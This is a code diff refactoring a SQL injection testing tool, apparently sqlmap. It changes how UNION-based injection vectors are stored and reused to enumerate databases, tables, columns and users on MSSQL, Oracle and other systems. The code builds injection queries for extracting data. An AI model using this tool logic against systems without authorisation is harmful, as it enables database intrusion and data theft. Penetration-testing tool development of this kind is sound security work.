diff --git a/lib/core/agent.py b/lib/core/agent.py index 89855b8d9..1e2d77772 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -473,7 +473,7 @@ class Agent: return concatenatedQuery - def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None, prefix=None, suffix=None, multipleUnions=None): + def forgeInbandQuery(self, query, exprPosition=None, count=None, comment=None, prefix=None, suffix=None, multipleUnions=None): """ Take in input an query (pseudo query) string and return its processed UNION ALL SELECT query. @@ -504,15 +504,6 @@ class Agent: @rtype: C{str} """ - if nullChar is None: - nullChar = conf.uChar - - if count is None: - count = kb.unionCount - - if comment is None: - comment = kb.unionComment - if query.startswith("SELECT "): query = query[len("SELECT "):] @@ -523,9 +514,6 @@ class Agent: query = query[len("TOP %s " % topNum):] inbandQuery += "TOP %s " % topNum - if not isinstance(exprPosition, int): - exprPosition = kb.unionPosition - intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I) if intoRegExp: @@ -546,7 +534,7 @@ class Agent: else: inbandQuery += query else: - inbandQuery += nullChar + inbandQuery += conf.uChar if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query: conditionIndex = query.index(" FROM ") @@ -569,7 +557,7 @@ class Agent: if element == exprPosition: inbandQuery += multipleUnions else: - inbandQuery += nullChar + inbandQuery += conf.uChar if kb.dbms == DBMS.ORACLE: inbandQuery += " FROM DUAL" diff --git a/lib/core/option.py b/lib/core/option.py index 64f37889c..c3e7be8dd 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1109,9 +1109,6 @@ def __setKnowledgeBaseAttributes(flushAll=True): kb.data = advancedDict() - # Old style injection flag - kb.unionTest = None - # Basic back-end DBMS fingerprint kb.dbms = None kb.dbmsDetected = False @@ -1167,9 +1164,6 @@ def __setKnowledgeBaseAttributes(flushAll=True): kb.threadContinue = True kb.threadException = False kb.threadData = {} - kb.unionComment = "" - kb.unionCount = None - kb.unionPosition = None kb.unionNegative = False if flushAll: diff --git a/lib/core/session.py b/lib/core/session.py index 673575fdd..eddc04cd4 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -191,27 +191,7 @@ def setOs(): if condition: dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(kb.os))) -def setUnion(comment=None, count=None, position=None, negative=False, char=None, payload=None): - """ - @param comment: union comment to save in session file - @type comment: C{str} - - @param count: union count to save in session file - @type count: C{str} - - @param position: union position to save in session file - @type position: C{str} - """ - - if comment: - kb.unionComment = comment - - if count: - kb.unionCount = count - - if position is not None: - kb.unionPosition = position - +def setUnion(negative=False): if negative: kb.unionNegative = True diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index 80386026a..bf1ddd93b 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -30,9 +30,6 @@ def __unionPosition(comment, place, parameter, value, prefix, suffix, dbms, coun validPayload = None unionVector = None - if count is None: - count = kb.unionCount - # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target url is # affected by an exploitable inband SQL injection vulnerability @@ -50,9 +47,8 @@ def __unionPosition(comment, place, parameter, value, prefix, suffix, dbms, coun resultPage, _ = Request.queryPage(payload, place=place, content=True) if resultPage and randQuery in resultPage and " UNION ALL SELECT " not in resultPage: - setUnion(position=exprPosition) validPayload = payload - unionVector = agent.forgeInbandQuery("[QUERY]", exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix) + unionVector = (exprPosition, count, comment, prefix, suffix) if where == 1: # Prepare expression with delimiters @@ -80,21 +76,20 @@ def __unionConfirm(comment, place, parameter, value, prefix, suffix, dbms, count # Confirm the inband SQL injection and get the exact column # position which can be used to extract data - if not isinstance(kb.unionPosition, int): - validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, dbms, count) + validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, dbms, count) - # Assure that the above function found the exploitable full inband - # SQL injection position - if not isinstance(kb.unionPosition, int): - validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, dbms, count, where=2) + # Assure that the above function found the exploitable full inband + # SQL injection position + if not validPayload: + validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, dbms, count, where=2) - # Assure that the above function found the exploitable partial - # (single entry) inband SQL injection position with negative - # parameter validPayload - if not isinstance(kb.unionPosition, int): - return None, None - else: - setUnion(negative=True) + # Assure that the above function found the exploitable partial + # (single entry) inband SQL injection position with negative + # parameter validPayload + if not validPayload: + return None, None + else: + setUnion(negative=True) return validPayload, unionVector @@ -126,7 +121,6 @@ def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix validPayload, unionVector = __unionConfirm(comment, place, parameter, value, prefix, suffix, dbms, count) if validPayload: - setUnion(count=count) break clearConsoleLine(True) @@ -148,8 +142,5 @@ def unionTest(comment, place, parameter, value, prefix, suffix, dbms): if validPayload: validPayload = agent.removePayloadDelimiters(validPayload, False) - setUnion(char=conf.uChar) - setUnion(comment=comment) - setUnion(payload=validPayload) return validPayload, unionVector diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py index f7c0cb4a9..33a9aac1e 100644 --- a/lib/techniques/inband/union/use.py +++ b/lib/techniques/inband/union/use.py @@ -51,9 +51,6 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh if resetCounter: reqCount = 0 - if not kb.unionCount: - return - # Prepare expression with delimiters if unescape: expression = agent.concatQuery(expression, unpack) @@ -211,8 +208,8 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh else: # Forge the inband SQL injection request - query = unescaper.unescape(expression) - query = agent.cleanupPayload(kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector, query=query) + vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector + query = agent.forgeInbandQuery(expression, exprPosition=vector[0], count=vector[1], comment=vector[2], prefix=vector[3], suffix=vector[4]) payload = agent.payload(newValue=query) # Perform the request diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 08a306360..2b2cf0430 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -11,6 +11,7 @@ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import getRange from lib.core.common import isNumPosStrValue +from lib.core.common import isTechniqueAvailable from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -52,7 +53,7 @@ class Enumeration(GenericEnumeration): else: dbs = [conf.db] - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db @@ -142,7 +143,7 @@ class Enumeration(GenericEnumeration): continue - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: query = rootQuery.inband.query % db query += tblQuery values = inject.getValue(query, blind=False, error=False) @@ -227,7 +228,7 @@ class Enumeration(GenericEnumeration): continue - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: query = rootQuery.inband.query % (db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) values = inject.getValue(query, blind=False, error=False) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index fc77ddca8..774f19ba6 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -13,6 +13,7 @@ import os from lib.core.common import getRange from lib.core.common import isNumPosStrValue +from lib.core.common import isTechniqueAvailable from lib.core.common import posixToNtSlashes from lib.core.common import randomStr from lib.core.data import conf @@ -91,7 +92,7 @@ class Filesystem(GenericFilesystem): binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") inject.goStacked(binToHexQuery) - if kb.unionPosition is not None: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False, error=False) if not result: diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index d3ff74c62..6611b86f7 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -10,6 +10,7 @@ See the file 'doc/COPYING' for copying permission from lib.core.agent import agent from lib.core.common import getRange from lib.core.common import isNumPosStrValue +from lib.core.common import isTechniqueAvailable from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -39,7 +40,7 @@ class Enumeration(GenericEnumeration): # Set containing the list of DBMS administrators areAdmins = set() - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 @@ -199,7 +200,7 @@ class Enumeration(GenericEnumeration): colQuery = colQuery % column for db in dbs.keys(): - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: query = rootQuery.inband.query query += colQuery values = inject.getValue(query, blind=False, error=False) diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 69d9f91e2..51b438cce 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -151,7 +151,7 @@ class Enumeration: condition = ( kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ) ) condition |= ( kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema ) - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if condition: query = rootQuery.inband.query2 else: @@ -210,7 +210,7 @@ class Enumeration: logger.info(infoMsg) - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): query = rootQuery.inband.query2 else: @@ -431,7 +431,7 @@ class Enumeration: "E": "EXECUTE" } - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 @@ -677,7 +677,7 @@ class Enumeration: rootQuery = queries[kb.dbms].dbs - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: @@ -784,7 +784,7 @@ class Enumeration: else: dbs = kb.data.cachedDbs - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: query = rootQuery.inband.query condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None @@ -977,7 +977,7 @@ class Enumeration: infoMsg += "on database '%s'" % conf.db logger.info(infoMsg) - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): query = rootQuery.inband.query % (conf.tbl, conf.db) query += condQuery @@ -1174,7 +1174,7 @@ class Enumeration: entriesCount = 0 - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if kb.dbms == DBMS.ORACLE: query = rootQuery.inband.query % (colString, conf.tbl.upper()) elif kb.dbms == DBMS.SQLITE: @@ -1516,7 +1516,7 @@ class Enumeration: dbQuery = "%s%s" % (dbCond, dbCondParam) dbQuery = dbQuery % db - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: @@ -1624,7 +1624,7 @@ class Enumeration: tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % tbl - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: query = rootQuery.inband.query query += tblQuery query += exclDbsQuery @@ -1774,7 +1774,7 @@ class Enumeration: colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % column - if kb.unionPosition is not None or conf.direct: + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: query = rootQuery.inband.query query += colQuery query += exclDbsQuery